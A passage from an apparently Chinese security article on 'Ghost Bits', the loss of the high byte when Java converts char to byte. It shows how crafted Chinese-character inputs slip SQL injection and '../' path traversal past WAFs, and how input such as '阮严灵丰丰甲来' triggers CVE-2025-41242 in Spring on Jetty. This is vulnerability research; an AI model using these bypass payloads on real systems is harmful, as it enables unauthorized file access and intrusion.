leaf="">比如说中文字阮，经过处理之后源代码获得的就是.</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">字符 </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;阮&#39;</span></span><span leaf=""> = U+962E = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0x962E</span></span><br style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"/><span leaf="">(byte) </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0x962E</span></span><span leaf=""> = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0x2E</span></span><span leaf=""> = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;.&#39;</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">那你就可以用这种方式绕过WAF的限制</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">比如说我输入</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">\u丰丰耳失</span></code><span leaf="">，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">waf收到这个输入的时候认为没有任何敏感词</span></strong><span leaf="">，则放行到后端jackson，后端将其转为byte，最终拼接成sql注入语句</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000671" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c40c2e12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtunVQicLPCRaMkUbefjg5bibR8h3ZrNVbI1rtp8S9HthGOojPEXOzB6micoQRfocLk2fbThf3DSTAE07D1JiaVo8sHSq268pW3ph0s%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最神奇的是，这种逻辑的泛用性极强，首先本身高位被抛弃意味着高位可以塞入任意值，那么对于poc就是多对1的转化关系。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">以下两种都可以直接转为对应的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">../../</span></code><span leaf="">，这对于waf来讲就是极强的考验，即便只针对byte的转化关系，waf也非常难处理</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000673" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5f6da09c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtt6WzZAfn1gPLICGGKeJzevic85WnLicPcw1Iqd0fBQaH2vhUs5TSBEJ80uOzn6ah3EtYD35XRUibt8VDCOfX3xOibhkacEuUIxYPU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000674" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=80509e06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FgIBYXIMwxtswB5ZB0SSw47cIov3JTAQBvytFmI4DwUQJKMiayFBmLTzjreRniaAZHkLNS7v9NKGsL0UF1b5LuOCaI9ibXwcZ9Cx2nnK4MssCG8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><span leaf="">继续拓展？</span></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">刚才提到了，在java本身的代码中，char类型和byte类型的转化是非常常用的写法，其带来的问题往往并不能直白的影响到源代码层面，</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">但对于安全来讲，似乎小概率事件会导致大概率问题</span></strong><span leaf="">？！</span></p><h1 style="box-sizing: border-box;border-width: 0px 0px 2px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em auto 1em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0px 1em;color: rgb(63, 63, 63);"><font style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(31, 35, 40);"><span leaf="">CVE-2025-41242 Spring框架因Jetty URI解析不一致导致的路径穿越漏洞</span></font></h1><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">刚才我们讨论的是泛用性非常强的waf场景，那么</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: inherit;color: rgb(15, 76, 129);"><span leaf="">在Spring框架下</span></strong><span leaf="">，本身会有一个非常大的问题，就是Spring框架中</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">StringUtils.uriDecode</span></code><span leaf="">和Jetty</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URIUtil.encodePathSafeEncoding</span></code><span leaf="">的处理方式不一致，导致了底层的路径穿越问题。</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: circle;margin: 0px;padding: 0px 0px 0px 1em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• <a href="https://github.com/advisories/GHSA-r936-gwx5-v52f" target="_blank">https://github.com/advisories/GHSA-r936-gwx5-v52f</a></span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.2em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• <a href="https://github.com/spring-projects/spring-framework/commit/24e66b63" target="_blank">https://github.com/spring-projects/spring-framework/commit/24e66b63</a></span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">对于Spring框架的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">StringUtils.uriDecode</span></code><span leaf="">方法</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000676" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f9a06a76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxtutgRQ3wP1bGx5IWa4OtA5HajyKma4IYe9KmnN1jJzTWxUibF707SicCU5v6o2GpSZ9wsRUjqn7ult7y2KyB35tM5mOI9VtrjPJQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">遇到%时会做专门的处理，并调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ByteArrayOutputStream.write</span></code><span leaf="">导致了高位bit丢失，出现Ghost Bits漏洞。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">阮严灵丰丰甲来</span></code><span leaf="">会被转为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.%u002e</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这个输入在Spring层面，不但可以通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isInvalidPath/isInvalidEncodedPath</span></code><span leaf="">的路径检查，还不会被识别为正常的%u编码，全部放行</span></p><span leaf="">传递到Jetty中，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URIUtil.encodePathSafeEncoding</span></code><span leaf="">却会将</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%u002e</span></code><span leaf="">做unicode解码转为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.</span></code><span leaf="">，最终构造成为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">../</span></code><br style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"/><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);"><span leaf=""><img alt="image-20260429181104521" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000675" title="null" data-type="png" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;margin: 0.1em auto 0.5em;border-radius: 4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e5f39c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FgIBYXIMwxttQpe733erxjNsyvGW8Ej5DCxUL0G7iau5Sbs5BLnWicOs2AJficzS5PXUNKtibwqjcicB55X2aBFgsm0xQAg5sUzBd2fUaPBFaVib18%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: 